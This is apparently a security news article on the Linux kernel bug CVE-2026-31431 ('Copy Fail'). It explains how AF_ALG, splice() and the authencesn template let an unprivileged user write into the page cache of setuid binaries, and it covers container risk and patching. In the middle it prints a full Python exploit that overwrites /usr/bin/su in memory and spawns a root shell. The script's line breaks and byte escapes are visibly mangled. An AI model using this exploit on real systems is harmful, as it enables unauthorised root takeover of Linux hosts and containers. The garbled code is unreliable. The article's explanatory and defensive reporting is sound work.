A newly discovered vulnerability, tracked as CVE-2026-31431 and nicknamed Copy Fail, stands out as one of the most insidious Linux kernel bugs identified in recent years. The issue originates in the authencesn cryptographic template and allows an unprivileged local user to write 4 controlled bytes into the page cache of any readable file.
The file on disk or the checksum is not modified, in fact, the integrity checks remain clean, but the system reads from the cache present in the system memory where manipulation can occur.
A simple Python script of 732 bytes is enough to compromise binaries such as /usr/bin/su and then obtain root privileges. No race condition is required and this does not cause any system instability, and the interesting thing is that it works on the first try.
| Codice CVE | Severity | Sintesi |
|---|---|---|
| CVE-2026-31431 | Critica | Scrittura controllata nella page cache tramite AF_ALG e splice() |
Many will recall the notorious bugs like Dirty Cow (CVE-2016-5195) or Dirty Pipe (CVE-2022-0847) and this vulnerability falls within these critical bugs that allow privilege escalation.
Dirty Pipe, can be defined as a brother of Copy Fail, as they belong to the same family. In fact, the first is based on the corruption of the page cache from non-privileged user space, without any modification on disk, writing to setuid binaries, root. Dirty Pipe abused the flags of the pipe buffer. Copy Fail abuses a scratch AEAD write that crosses a scatterlist boundary.
The interesting thing is that Copy Fail is more portable as it has a single script, compatible with all distributions, without offset. Dirty Pipe required a kernel ≥ 5.8 with specific patches; Copy Fail covers 9 years of distribution and therefore from 2017 to 2026.
Furthermore, the portability is surprising: Ubuntu, Amazon Linux, RHEL, and SUSE are vulnerable without the need for adaptations.
The core of the problem lies in the interaction between AF_ALG, splice() and the behavior of the authencesn algorithm. The splice() function allows data to be transferred between the file descriptor without copying, maintaining direct references to the pages present in the cache. When these specific references enter the cryptography subsystem, they end up in a structure called scatterlist.
Here is where the error occurs, in fact, during the decryption phase, authencesn uses the destination buffer as a temporary area and writes 4 bytes beyond the limits that are not expected. In normal conditions, everything seems to be harmless, but in this context, those 4 extra bytes end up directly in the page cache of the target file.
The result is a modification within the memory that becomes persistent until the system is restarted or the cache is emptied and is, moreover, invisible to traditional tools. This behavior is not shared by other AEAD, GCM, or CCM algorithms, in fact, it is an isolated case, and this is the reason why it has gone unnoticed for years.
The exploit (published on github) is very simple and follows a linear logic, i.e., it prepares the payload, identifies the offset in the target file, and forces the writing. Once the binary is modified within the cache, it is simply a matter of executing it to obtain a root shell.
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'x10'+i*19),(h,4,b'x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
The risk is not limited to the local system because the page cache is shared between processes and containers, and here scenarios of container escape and compromise of Kubernetes nodes open up.
Useful command:
uname -r
If the kernel is prior to the corrective patch, the system is potentially vulnerable.
The official patch eliminates the optimization introduced in 2017, separating the input and output structures and preventing the cache pages from ending up in a writable area.
The discovery of copy.fail is attributed to the Xint Code Research Team, with the initial contribution of researcher Taeyang Lee.